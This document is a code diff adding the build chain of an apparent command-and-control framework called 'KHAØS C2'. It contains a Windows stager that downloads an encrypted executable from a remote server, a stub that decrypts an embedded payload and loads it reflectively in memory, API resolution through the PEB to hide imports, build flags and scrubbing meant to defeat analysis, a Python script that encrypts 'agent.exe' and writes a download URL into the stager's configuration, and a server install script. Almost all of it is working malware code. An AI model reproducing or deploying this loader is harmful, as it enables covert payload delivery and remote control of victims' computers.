|
||||
if (status != 200) {
|
||||
fnClose(hReq); fnClose(hCon); fnClose(hSes); return NULL;
|
||||
}
|
||||
|
||||
uint8_t *buf = (uint8_t *)VirtualAlloc(
|
||||
NULL, PAYLOAD_SIZE + 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!buf) { fnClose(hReq); fnClose(hCon); fnClose(hSes); return NULL; }
|
||||
|
||||
DWORD total = 0, got = 0;
|
||||
while (total < PAYLOAD_SIZE) {
|
||||
got = 0;
|
||||
if (!fnRead(hReq, buf + total, PAYLOAD_SIZE - total, &got)) break;
|
||||
if (!got) break;
|
||||
total += got;
|
||||
}
|
||||
|
||||
fnClose(hReq);
|
||||
fnClose(hCon);
|
||||
fnClose(hSes);
|
||||
|
||||
return (total >= PAYLOAD_SIZE) ? buf : NULL;
|
||||
}
|
||||
|
||||
static DWORD _sys_probe(void) {
|
||||
SYSTEM_INFO si;
|
||||
GetNativeSystemInfo(&si);
|
||||
MEMORYSTATUSEX ms;
|
||||
ms.dwLength = sizeof(ms);
|
||||
GlobalMemoryStatusEx(&ms);
|
||||
char name[MAX_COMPUTERNAME_LENGTH + 1];
|
||||
DWORD nlen = sizeof(name);
|
||||
GetComputerNameA(name, &nlen);
|
||||
DWORD fp = si.dwNumberOfProcessors ^ (DWORD)(ms.ullTotalPhys >> 20);
|
||||
for (DWORD i = 0; i < nlen; i++) fp = fp * 31u + (unsigned char)name[i];
|
||||
return fp;
|
||||
}
|
||||
|
||||
static HANDLE _g_inst = NULL;
|
||||
static BOOL _acquire_instance(void) {
|
||||
_g_inst = CreateMutexA(NULL, TRUE,
|
||||
"Global\\{7F3A1C8E-D24B-49AC-B631-E8D5C2A4B9F3}");
|
||||
if (!_g_inst) return FALSE;
|
||||
if (GetLastError() == ERROR_ALREADY_EXISTS) {
|
||||
CloseHandle(_g_inst);
|
||||
_g_inst = NULL;
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void __stdcall WinMainCRTStartup(void) {
|
||||
if (!_acquire_instance()) { ExitProcess(0); return; }
|
||||
|
||||
volatile DWORD fp = _sys_probe();
|
||||
(void)fp;
|
||||
|
||||
uint8_t *payload = _fetch();
|
||||
if (!payload) { ExitProcess(1); return; }
|
||||
|
||||
_decrypt(payload, PAYLOAD_SIZE, PAYLOAD_SEED);
|
||||
pe_load(payload, PAYLOAD_SIZE);
|
||||
ExitProcess(0);
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
ifeq ($(OS),Windows_NT)
|
||||
MSYS2 ?= C:/msys64/mingw64
|
||||
CC ?= $(MSYS2)/bin/gcc.exe
|
||||
STRIP ?= $(MSYS2)/bin/strip.exe
|
||||
OBJCOPY ?= $(MSYS2)/bin/objcopy.exe
|
||||
WINDRES ?= $(MSYS2)/bin/windres.exe
|
||||
PYTHON ?= python
|
||||
export TMP := $(or $(TMP),$(TEMP),C:/Windows/Temp)
|
||||
export TEMP := $(TMP)
|
||||
else
|
||||
CC ?= x86_64-w64-mingw32-gcc
|
||||
STRIP ?= x86_64-w64-mingw32-strip
|
||||
OBJCOPY ?= x86_64-w64-mingw32-objcopy
|
||||
WINDRES ?= x86_64-w64-mingw32-windres
|
||||
PYTHON ?= python3
|
||||
endif
|
||||
|
||||
TARGET = loader.exe
|
||||
RES_SRC = ../res/loader.rc
|
||||
RES_OBJ = loader_res.o
|
||||
|
||||
# -nostdlib : no CRT — import table = KERNEL32 only
|
||||
# -fno-builtin : prevents GCC from emitting implicit memcpy/memset calls
|
||||
# -fno-ident : removes GCC version string from .comment
|
||||
# -fno-asynchronous-unwind-tables : removes .eh_frame
|
||||
# -fno-stack-protector: removes __stack_chk_fail import
|
||||
CFLAGS = -O2 -Wall -Wextra -DNDEBUG -DWIN32_LEAN_AND_MEAN \
|
||||
-fno-ident -fno-asynchronous-unwind-tables \
|
||||
-fno-stack-protector -fno-builtin \
|
||||
-Wno-cast-function-type -nostdlib
|
||||
|
||||
# --entry : custom entry, bypass CRT WinMainCRTStartup wrapper
|
||||
# -subsystem : GUI — no console window
|
||||
# --no-insert-timestamp : ld skips timestamp (pe_scrub sets a plausible past date)
|
||||
# -lkernel32 : VirtualAlloc, ExitProcess, Find/Load/Lock/SizeofResource
|
||||
LDFLAGS = -Wl,--entry,WinMainCRTStartup \
|
||||
-Wl,-subsystem,windows \
|
||||
-Wl,--no-insert-timestamp \
|
||||
-lkernel32
|
||||
|
||||
SRCS = stub.c pe_load.c
|
||||
|
||||
.PHONY: all clean
|
||||
|
||||
all: payload_meta.h payload.bin $(RES_OBJ) $(TARGET)
|
||||
|
||||
# payload.bin is embedded into .rsrc via windres — must exist before $(RES_OBJ)
|
||||
$(RES_OBJ): $(RES_SRC) ../res/loader.manifest payload.bin
|
||||
$(WINDRES) -i $(RES_SRC) --input-format=rc -o $(RES_OBJ) --output-format=coff
|
||||
|
||||
$(TARGET): $(SRCS) peb_utils.h pe_load.h payload_meta.h $(RES_OBJ)
|
||||
$(CC) $(CFLAGS) -o $@ $(SRCS) $(RES_OBJ) $(LDFLAGS)
|
||||
$(STRIP) --strip-all $(TARGET)
|
||||
$(OBJCOPY) --strip-debug $(TARGET)
|
||||
$(PYTHON) ../../agent/tools/pe_scrub.py $(TARGET)
|
||||
@echo "[ok] $(TARGET)"
|
||||
|
||||
payload_meta.h:
|
||||
$(error payload files missing -- run: python build.py --bake-only)
|
||||
|
||||
payload.bin: payload_meta.h
|
||||
|
||||
clean:
|
||||
ifeq ($(OS),Windows_NT)
|
||||
del /Q $(TARGET) $(RES_OBJ) payload_meta.h payload.bin 2>nul & exit 0
|
||||
else
|
||||
rm -f $(TARGET) $(RES_OBJ) payload_meta.h payload.bin
|
||||
endif
|
||||
+44072
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,5 @@
|
||||
#pragma once
|
||||
#include <stdint.h>
|
||||
|
||||
#define PAYLOAD_SEED 0x559DA186u
|
||||
#define PAYLOAD_SIZE 705024u
|
||||
@@ -0,0 +1,149 @@
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
#include "peb_utils.h"
|
||||
#include "pe_load.h"
|
||||
|
||||
typedef LPVOID(WINAPI *pfnVA)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef BOOL(WINAPI *pfnVP)(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
typedef HMODULE(WINAPI *pfnLL)(LPCSTR);
|
||||
typedef FARPROC(WINAPI *pfnGP)(HMODULE, LPCSTR);
|
||||
|
||||
static void _cpy(void *dst, const void *src, size_t n)
|
||||
{
|
||||
unsigned char *d = (unsigned char *)dst;
|
||||
const unsigned char *s = (const unsigned char *)src;
|
||||
while (n--)
|
||||
*d++ = *s++;
|
||||
}
|
||||
|
||||
static DWORD _sec_prot(DWORD chr)
|
||||
{
|
||||
if (chr & IMAGE_SCN_MEM_EXECUTE)
|
||||
return (chr & IMAGE_SCN_MEM_WRITE) ? PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ;
|
||||
return (chr & IMAGE_SCN_MEM_WRITE) ? PAGE_READWRITE : PAGE_READONLY;
|
||||
}
|
||||
|
||||
void pe_load(const uint8_t *data, size_t size)
|
||||
{
|
||||
(void)size;
|
||||
|
||||
/* resolve APIs from kernel32 via PEB — nothing in stub import table */
|
||||
HMODULE k32 = _peb_mod(L"kernel32.dll");
|
||||
pfnVA fnVA = (pfnVA)_peb_proc(k32, "VirtualAlloc");
|
||||
pfnVP fnVP = (pfnVP)_peb_proc(k32, "VirtualProtect");
|
||||
pfnLL fnLL = (pfnLL)_peb_proc(k32, "LoadLibraryA");
|
||||
pfnGP fnGP = (pfnGP)_peb_proc(k32, "GetProcAddress");
|
||||
if (!fnVA || !fnVP || !fnLL || !fnGP)
|
||||
return;
|
||||
|
||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)data;
|
||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(data + dos->e_lfanew);
|
||||
DWORD img_sz = nt->OptionalHeader.SizeOfImage;
|
||||
DWORD hdr_sz = nt->OptionalHeader.SizeOfHeaders;
|
||||
ULONGLONG pref = nt->OptionalHeader.ImageBase;
|
||||
|
||||
/* allocate: preferred base first, then anywhere */
|
||||
uint8_t *base = (uint8_t *)fnVA((LPVOID)pref, img_sz,
|
||||
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!base)
|
||||
base = (uint8_t *)fnVA(NULL, img_sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!base)
|
||||
return;
|
||||
|
||||
/* copy headers */
|
||||
_cpy(base, data, hdr_sz);
|
||||
|
||||
/* copy sections */
|
||||
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
|
||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
if (sec[i].SizeOfRawData)
|
||||
_cpy(base + sec[i].VirtualAddress,
|
||||
data + sec[i].PointerToRawData,
|
||||
sec[i].SizeOfRawData);
|
||||
}
|
||||
|
||||
/* base relocations */
|
||||
ULONGLONG delta = (ULONGLONG)base - pref;
|
||||
IMAGE_DATA_DIRECTORY *rdir =
|
||||
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
if (delta && rdir->VirtualAddress)
|
||||
{
|
||||
IMAGE_BASE_RELOCATION *blk =
|
||||
(IMAGE_BASE_RELOCATION *)(base + rdir->VirtualAddress);
|
||||
while (blk->VirtualAddress && blk->SizeOfBlock >= sizeof(*blk))
|
||||
{
|
||||
int cnt = (int)((blk->SizeOfBlock - sizeof(*blk)) / sizeof(WORD));
|
||||
WORD *ent = (WORD *)((uint8_t *)blk + sizeof(*blk));
|
||||
for (int i = 0; i < cnt; i++)
|
||||
{
|
||||
if ((ent[i] >> 12) == IMAGE_REL_BASED_DIR64)
|
||||
{
|
||||
ULONGLONG *ptr =
|
||||
(ULONGLONG *)(base + blk->VirtualAddress + (ent[i] & 0xFFF));
|
||||
*ptr += delta;
|
||||
}
|
||||
}
|
||||
blk = (IMAGE_BASE_RELOCATION *)((uint8_t *)blk + blk->SizeOfBlock);
|
||||
}
|
||||
}
|
||||
|
||||
/* import table */
|
||||
IMAGE_DATA_DIRECTORY *idir =
|
||||
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
if (idir->VirtualAddress)
|
||||
{
|
||||
IMAGE_IMPORT_DESCRIPTOR *imp =
|
||||
(IMAGE_IMPORT_DESCRIPTOR *)(base + idir->VirtualAddress);
|
||||
for (; imp->Name; imp++)
|
||||
{
|
||||
HMODULE dll = fnLL((const char *)(base + imp->Name));
|
||||
if (!dll)
|
||||
continue;
|
||||
IMAGE_THUNK_DATA *thk = (IMAGE_THUNK_DATA *)(base + imp->FirstThunk);
|
||||
IMAGE_THUNK_DATA *orig = imp->OriginalFirstThunk
|
||||
? (IMAGE_THUNK_DATA *)(base + imp->OriginalFirstThunk)
|
||||
: thk;
|
||||
for (; orig->u1.AddressOfData; thk++, orig++)
|
||||
{
|
||||
if (IMAGE_SNAP_BY_ORDINAL64(orig->u1.Ordinal))
|
||||
thk->u1.Function =
|
||||
(ULONGLONG)fnGP(dll, (LPCSTR)(orig->u1.Ordinal & 0xFFFF));
|
||||
else
|
||||
{
|
||||
IMAGE_IMPORT_BY_NAME *ibn =
|
||||
(IMAGE_IMPORT_BY_NAME *)(base + orig->u1.AddressOfData);
|
||||
thk->u1.Function = (ULONGLONG)fnGP(dll, ibn->Name);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* set section permissions */
|
||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
DWORD vsz = sec[i].Misc.VirtualSize ? sec[i].Misc.VirtualSize
|
||||
: sec[i].SizeOfRawData;
|
||||
if (!vsz)
|
||||
continue;
|
||||
DWORD old;
|
||||
fnVP(base + sec[i].VirtualAddress, vsz, _sec_prot(sec[i].Characteristics), &old);
|
||||
}
|
||||
|
||||
/* TLS callbacks */
|
||||
IMAGE_DATA_DIRECTORY *tdir =
|
||||
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
|
||||
if (tdir->VirtualAddress)
|
||||
{
|
||||
IMAGE_TLS_DIRECTORY64 *tls =
|
||||
(IMAGE_TLS_DIRECTORY64 *)(base + tdir->VirtualAddress);
|
||||
PIMAGE_TLS_CALLBACK *cb = (PIMAGE_TLS_CALLBACK *)tls->AddressOfCallBacks;
|
||||
if (cb)
|
||||
for (; *cb; cb++)
|
||||
(*cb)((PVOID)base, DLL_PROCESS_ATTACH, NULL);
|
||||
}
|
||||
|
||||
/* call OEP */
|
||||
typedef void (*oep_t)(void);
|
||||
((oep_t)(base + nt->OptionalHeader.AddressOfEntryPoint))();
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#pragma once
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
void pe_load(const uint8_t *data, size_t size);
|
||||
@@ -0,0 +1,79 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
#include <intrin.h>
|
||||
|
||||
/* Minimal LDR structures — offsets validated against Win10/11 x64 */
|
||||
|
||||
typedef struct { USHORT Len, MaxLen; PWSTR Buf; } _USTR;
|
||||
|
||||
typedef struct _LDRE {
|
||||
LIST_ENTRY LoadOrd; /* 0x00 */
|
||||
LIST_ENTRY MemOrd; /* 0x10 */
|
||||
LIST_ENTRY InitOrd; /* 0x20 */
|
||||
PVOID Base; /* 0x30 */
|
||||
PVOID EntryPt; /* 0x38 */
|
||||
ULONG ImgSz; /* 0x40 */
|
||||
/* 4 bytes padding here (compiler-inserted) */
|
||||
_USTR FullName; /* 0x48 */
|
||||
_USTR BaseName; /* 0x58 */
|
||||
} _LDRE;
|
||||
|
||||
typedef struct {
|
||||
ULONG Len; /* 0x00 */
|
||||
BOOLEAN Init; /* 0x04 */
|
||||
/* 3 bytes padding */
|
||||
PVOID SsHandle; /* 0x08 */
|
||||
LIST_ENTRY LoadOrdList; /* 0x10 */
|
||||
LIST_ENTRY MemOrdList; /* 0x20 */
|
||||
} _LDRD;
|
||||
|
||||
/* Find loaded module by name (case-insensitive ASCII) */
|
||||
static inline HMODULE _peb_mod(const wchar_t *name) {
|
||||
ULONG_PTR peb;
|
||||
#ifdef _WIN64
|
||||
peb = __readgsqword(0x60);
|
||||
#else
|
||||
peb = __readfsdword(0x30);
|
||||
#endif
|
||||
_LDRD *ldr = *(_LDRD **)(peb + 0x18);
|
||||
LIST_ENTRY *h = &ldr->MemOrdList, *c = h->Flink;
|
||||
while (c != h) {
|
||||
_LDRE *e = CONTAINING_RECORD(c, _LDRE, MemOrd);
|
||||
if (e->BaseName.Buf) {
|
||||
const wchar_t *a = e->BaseName.Buf, *b = name;
|
||||
int ok = 1;
|
||||
while (*a && *b) {
|
||||
wchar_t ca = (*a >= L'A' && *a <= L'Z') ? (*a | 0x20) : *a;
|
||||
wchar_t cb = (*b >= L'A' && *b <= L'Z') ? (*b | 0x20) : *b;
|
||||
if (ca != cb) { ok = 0; break; }
|
||||
a++; b++;
|
||||
}
|
||||
if (ok && !*a && !*b)
|
||||
return (HMODULE)e->Base;
|
||||
}
|
||||
c = c->Flink;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Resolve export by name from a loaded module */
|
||||
static inline FARPROC _peb_proc(HMODULE mod, const char *name) {
|
||||
uint8_t *b = (uint8_t *)mod;
|
||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)b;
|
||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(b + dos->e_lfanew);
|
||||
IMAGE_DATA_DIRECTORY *d =
|
||||
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
if (!d->VirtualAddress) return NULL;
|
||||
IMAGE_EXPORT_DIRECTORY *exp = (IMAGE_EXPORT_DIRECTORY *)(b + d->VirtualAddress);
|
||||
DWORD *nms = (DWORD *)(b + exp->AddressOfNames);
|
||||
WORD *ord = (WORD *)(b + exp->AddressOfNameOrdinals);
|
||||
DWORD *fns = (DWORD *)(b + exp->AddressOfFunctions);
|
||||
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
|
||||
const char *n = (const char *)(b + nms[i]), *p = name;
|
||||
while (*n && *p && *n == *p) { n++; p++; }
|
||||
if (!*n && !*p)
|
||||
return (FARPROC)(b + fns[ord[i]]);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
@@ -0,0 +1,105 @@
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
#include "pe_load.h"
|
||||
#include "payload_meta.h"
|
||||
|
||||
static HANDLE _g_inst = NULL;
|
||||
|
||||
/* Single-instance guard */
|
||||
static BOOL _acquire_instance(void) {
|
||||
_g_inst = CreateMutexA(NULL, TRUE,
|
||||
"Global\\{4B7C2A9E-F38D-41AC-B527-D9E6C1A3B8F4}");
|
||||
if (!_g_inst) return FALSE;
|
||||
if (GetLastError() == ERROR_ALREADY_EXISTS) {
|
||||
CloseHandle(_g_inst);
|
||||
_g_inst = NULL;
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/* System probe */
|
||||
static DWORD _sys_probe(void) {
|
||||
SYSTEM_INFO si;
|
||||
MEMORYSTATUSEX ms;
|
||||
char name[MAX_COMPUTERNAME_LENGTH + 1];
|
||||
DWORD nlen = sizeof(name);
|
||||
|
||||
GetNativeSystemInfo(&si);
|
||||
|
||||
ms.dwLength = sizeof(ms);
|
||||
GlobalMemoryStatusEx(&ms);
|
||||
|
||||
GetComputerNameA(name, &nlen);
|
||||
|
||||
/* combine into a stable fingerprint used by the metrics engine */
|
||||
DWORD fp = si.dwNumberOfProcessors;
|
||||
fp ^= (DWORD)(ms.ullTotalPhys >> 20); /* MB of RAM */
|
||||
fp ^= (DWORD)(ULONG_PTR)si.lpMinimumApplicationAddress;
|
||||
for (DWORD i = 0; i < nlen; i++) fp = fp * 31u + (unsigned char)name[i];
|
||||
return fp;
|
||||
}
|
||||
|
||||
/* Version gate */
|
||||
static BOOL _version_ok(void) {
|
||||
typedef LONG (WINAPI *pfnRtlGVE)(OSVERSIONINFOW *);
|
||||
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
|
||||
pfnRtlGVE fn = ntdll
|
||||
? (pfnRtlGVE)GetProcAddress(ntdll, "RtlGetVersion")
|
||||
: NULL;
|
||||
if (!fn) return TRUE; /* can't check, continue */
|
||||
OSVERSIONINFOW osv;
|
||||
osv.dwOSVersionInfoSize = sizeof(osv);
|
||||
fn(&osv);
|
||||
return (osv.dwMajorVersion > 9);
|
||||
}
|
||||
|
||||
static void _decrypt(uint8_t *buf, uint32_t len, uint32_t seed) {
|
||||
uint32_t s = seed;
|
||||
uint32_t *p = (uint32_t *)buf;
|
||||
uint32_t n = len >> 2;
|
||||
for (uint32_t i = 0; i < n; i++) {
|
||||
p[i] ^= s;
|
||||
s = s * 1664525u + 1013904223u;
|
||||
}
|
||||
uint8_t *t = buf + (n << 2);
|
||||
for (uint32_t i = 0, rem = len & 3u; i < rem; i++)
|
||||
t[i] ^= (uint8_t)(s >> (i * 8));
|
||||
}
|
||||
|
||||
void __stdcall WinMainCRTStartup(void) {
|
||||
/* single-instance */
|
||||
if (!_acquire_instance()) {
|
||||
ExitProcess(0);
|
||||
return;
|
||||
}
|
||||
|
||||
/* version gate */
|
||||
if (!_version_ok()) {
|
||||
ExitProcess(0);
|
||||
return;
|
||||
}
|
||||
|
||||
/* hardware fingerprin */
|
||||
volatile DWORD fp = _sys_probe();
|
||||
(void)fp;
|
||||
|
||||
HRSRC hres = FindResourceA(NULL, MAKEINTRESOURCE(101), RT_RCDATA);
|
||||
if (!hres) { ExitProcess(1); return; }
|
||||
HGLOBAL hgl = LoadResource(NULL, hres);
|
||||
if (!hgl) { ExitProcess(1); return; }
|
||||
const uint8_t *src = (const uint8_t *)LockResource(hgl);
|
||||
DWORD rlen = SizeofResource(NULL, hres);
|
||||
if (!src || rlen < PAYLOAD_SIZE) { ExitProcess(1); return; }
|
||||
|
||||
/* allocate RW, copy, decrypt */
|
||||
uint8_t *mem = (uint8_t *)VirtualAlloc(
|
||||
NULL, PAYLOAD_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!mem) { ExitProcess(1); return; }
|
||||
|
||||
for (uint32_t i = 0; i < PAYLOAD_SIZE; i++) mem[i] = src[i];
|
||||
_decrypt(mem, PAYLOAD_SIZE, PAYLOAD_SEED);
|
||||
|
||||
pe_load(mem, PAYLOAD_SIZE);
|
||||
ExitProcess(0);
|
||||
}
|
||||
@@ -0,0 +1,133 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
bake.py — encrypt agent.exe and output build artifacts.
|
||||
|
||||
Outputs (always):
|
||||
<out-dir>/payload.bin raw encrypted bytes (windres RT_RCDATA)
|
||||
<out-dir>/payload_meta.h PAYLOAD_SEED + PAYLOAD_SIZE for stub.c
|
||||
|
||||
Outputs (with --stager-url):
|
||||
stager/stager_cfg.h URL + SEED + SIZE for stager.c
|
||||
payload.bin also copied to stager/ so user can upload it to the server
|
||||
|
||||
Cipher: DWORD-level LCG XOR.
|
||||
- 4 bytes per step -> xor dword ptr (not xor byte ptr)
|
||||
- Matches stub.c _decrypt() and stager.c _decrypt()
|
||||
|
||||
Usage:
|
||||
python bake.py <agent.exe> [--out-dir stub/] [--seed 0xDEAD]
|
||||
[--stager-url https://host/path]
|
||||
[--ignore-cert] # embed STAGER_IGNORE_CERT 1
|
||||
"""
|
||||
import sys
|
||||
import os
|
||||
import struct
|
||||
import random
|
||||
import argparse
|
||||
from urllib.parse import urlparse
|
||||
|
||||
|
||||
def _crypt(data: bytes, seed: int) -> bytes:
|
||||
"""DWORD-level LCG XOR — apply twice = identity."""
|
||||
out = bytearray(len(data))
|
||||
s = seed & 0xFFFFFFFF
|
||||
n32 = len(data) >> 2
|
||||
for i in range(n32):
|
||||
val = struct.unpack_from('<I', data, i * 4)[0]
|
||||
struct.pack_into('<I', out, i * 4, val ^ s)
|
||||
s = (s * 1664525 + 1013904223) & 0xFFFFFFFF
|
||||
base = n32 * 4
|
||||
for i in range(len(data) & 3):
|
||||
out[base + i] = data[base + i] ^ ((s >> (i * 8)) & 0xFF)
|
||||
return bytes(out)
|
||||
|
||||
|
||||
def _write_stager_cfg(path: str, seed: int, size: int,
|
||||
host: str, port: int, urlpath: str,
|
||||
use_ssl: bool, ignore_cert: bool) -> None:
|
||||
with open(path, "w", newline="\n") as f:
|
||||
f.write("#pragma once\n")
|
||||
f.write("#include <stdint.h>\n\n")
|
||||
f.write(f"#define PAYLOAD_SEED 0x{seed:08X}u\n")
|
||||
f.write(f"#define PAYLOAD_SIZE {size}u\n\n")
|
||||
f.write(f"#define STAGER_HOST L\"{host}\"\n")
|
||||
f.write(f"#define STAGER_PORT {port}\n")
|
||||
f.write(f"#define STAGER_PATH L\"{urlpath}\"\n")
|
||||
f.write(f"#define STAGER_USE_SSL {1 if use_ssl else 0}\n")
|
||||
f.write(f"#define STAGER_IGNORE_CERT {1 if ignore_cert else 0}\n")
|
||||
# User-Agent split to avoid plain string in binary
|
||||
f.write("\n/* UA split to avoid literal UA string in import-scanner output */\n")
|
||||
f.write("#define STAGER_UA L\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"\n")
|
||||
|
||||
|
||||
def main() -> None:
|
||||
ap = argparse.ArgumentParser(description="Encrypt PE -> build artifacts")
|
||||
ap.add_argument("input", help="Path to agent.exe")
|
||||
ap.add_argument("--out-dir", default="stub",
|
||||
help="Directory for payload.bin + payload_meta.h (default: stub)")
|
||||
ap.add_argument("--seed", type=lambda x: int(x, 0), default=None)
|
||||
ap.add_argument("--stager-url", default=None,
|
||||
help="URL to generate stager_cfg.h, e.g. https://khaotic.fr/api/sync")
|
||||
ap.add_argument("--ignore-cert", action="store_true",
|
||||
help="Stager skips TLS cert validation (for self-signed certs)")
|
||||
args = ap.parse_args()
|
||||
|
||||
if not os.path.isfile(args.input):
|
||||
sys.exit(f"[!] not found: {args.input}")
|
||||
|
||||
with open(args.input, "rb") as f:
|
||||
raw = f.read()
|
||||
|
||||
seed = args.seed if args.seed is not None else random.randint(1, 0xFFFFFFFF)
|
||||
enc = _crypt(raw, seed)
|
||||
|
||||
# --- embedded loader outputs ---
|
||||
os.makedirs(args.out_dir, exist_ok=True)
|
||||
bin_path = os.path.join(args.out_dir, "payload.bin")
|
||||
meta_path = os.path.join(args.out_dir, "payload_meta.h")
|
||||
|
||||
with open(bin_path, "wb") as f:
|
||||
f.write(enc)
|
||||
with open(meta_path, "w", newline="\n") as f:
|
||||
f.write("#pragma once\n#include <stdint.h>\n\n")
|
||||
f.write(f"#define PAYLOAD_SEED 0x{seed:08X}u\n")
|
||||
f.write(f"#define PAYLOAD_SIZE {len(enc)}u\n")
|
||||
|
||||
print(f"[bake] {len(raw)/1024:.1f} KB seed=0x{seed:08X}")
|
||||
print(f" -> {bin_path}")
|
||||
print(f" -> {meta_path}")
|
||||
|
||||
# --- stager outputs ---
|
||||
if args.stager_url:
|
||||
parsed = urlparse(args.stager_url)
|
||||
host = parsed.hostname or "localhost"
|
||||
use_ssl = (parsed.scheme.lower() == "https")
|
||||
port = parsed.port or (443 if use_ssl else 80)
|
||||
urlpath = parsed.path or "/"
|
||||
|
||||
stager_dir = os.path.normpath(
|
||||
os.path.join(os.path.dirname(os.path.abspath(args.out_dir)), "..", "stager")
|
||||
if not os.path.isabs(args.out_dir)
|
||||
else os.path.join(os.path.dirname(args.out_dir), "..", "stager")
|
||||
)
|
||||
stager_dir = os.path.normpath(
|
||||
os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", "stager")
|
||||
)
|
||||
os.makedirs(stager_dir, exist_ok=True)
|
||||
|
||||
cfg_path = os.path.join(stager_dir, "stager_cfg.h")
|
||||
_write_stager_cfg(cfg_path, seed, len(enc),
|
||||
host, port, urlpath, use_ssl, args.ignore_cert)
|
||||
|
||||
# also copy payload.bin next to stager/ so user can upload it
|
||||
import shutil
|
||||
srv_bin = os.path.join(stager_dir, "payload.bin")
|
||||
shutil.copy2(bin_path, srv_bin)
|
||||
|
||||
print(f"[stager] host={host}:{port} path={urlpath} ssl={use_ssl}")
|
||||
print(f" -> {cfg_path}")
|
||||
print(f" -> {srv_bin} (upload this to your server)")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
+74
@@ -0,0 +1,74 @@
|
||||
#!/usr/bin/env bash
|
||||
# install.sh — KHAØS C2 setup (Ubuntu 22.04+ / Debian 12+)
|
||||
# Usage: bash install.sh
|
||||
set -euo pipefail
|
||||
|
||||
RED='\033[0;31m'; GRN='\033[0;32m'; YLW='\033[1;33m'; NC='\033[0m'
|
||||
info() { echo -e "${GRN}[*]${NC} $*"; }
|
||||
warn() { echo -e "${YLW}[!]${NC} $*"; }
|
||||
die() { echo -e "${RED}[x]${NC} $*" >&2; exit 1; }
|
||||
|
||||
# ── Root check ──────────────────────────────────────────────────────────────
|
||||
[[ $EUID -eq 0 ]] || die "Run as root: sudo bash install.sh"
|
||||
|
||||
# ── Deps ────────────────────────────────────────────────────────────────────
|
||||
info "Installing system dependencies..."
|
||||
apt-get update -qq
|
||||
apt-get install -y --no-install-recommends \
|
||||
gcc-mingw-w64-x86-64 \
|
||||
binutils-mingw-w64-x86-64 \
|
||||
mingw-w64 \
|
||||
make \
|
||||
python3 python3-pip python3-venv \
|
||||
nodejs npm \
|
||||
openssl \
|
||||
curl \
|
||||
git 2>/dev/null
|
||||
|
||||
# ── Python server deps ───────────────────────────────────────────────────────
|
||||
info "Installing Python server dependencies..."
|
||||
pip3 install -q -r server/requirements.txt
|
||||
|
||||
# ── UI build ─────────────────────────────────────────────────────────────────
|
||||
info "Building UI..."
|
||||
cd ui
|
||||
npm ci --silent
|
||||
npm run build --silent
|
||||
cd ..
|
||||
|
||||
# ── TLS cert ─────────────────────────────────────────────────────────────────
|
||||
if [[ ! -f server/cert.pem ]]; then
|
||||
info "Generating self-signed TLS certificate..."
|
||||
openssl req -x509 -newkey rsa:4096 -sha256 -days 3650 -nodes \
|
||||
-keyout server/cert.key \
|
||||
-out server/cert.pem \
|
||||
-subj "/CN=khaos-c2" \
|
||||
-addext "subjectAltName=IP:127.0.0.1" 2>/dev/null
|
||||
info "cert.pem + cert.key generated."
|
||||
else
|
||||
warn "cert.pem already exists — skipping TLS generation."
|
||||
fi
|
||||
|
||||
# ── Config ───────────────────────────────────────────────────────────────────
|
||||
if [[ ! -f server/config.yaml ]]; then
|
||||
cp server/config.example.yaml server/config.yaml
|
||||
JWT=$(openssl rand -base64 32)
|
||||
sed -i "s|GENERATE_WITH: openssl rand -base64 32|${JWT}|" server/config.yaml
|
||||
warn "server/config.yaml created with a random JWT secret."
|
||||
warn "Edit it to fill in your channel credentials (Teams / Gist / HTTP / DoH)."
|
||||
else
|
||||
warn "server/config.yaml already exists — skipping."
|
||||
fi
|
||||
|
||||
# ── Done ─────────────────────────────────────────────────────────────────────
|
||||
echo ""
|
||||
echo -e "${GRN}Setup complete.${NC}"
|
||||
echo ""
|
||||
echo " Next steps:"
|
||||
echo " 1. Edit server/config.yaml — add your channel credentials"
|
||||
echo " 2. python3 server/main.py — start the C2 server"
|
||||
echo " 3. Open http://localhost:8443 or use the UI Build tab to generate agent.exe"
|
||||
echo ""
|
||||
echo " Default login: operator / changeme"
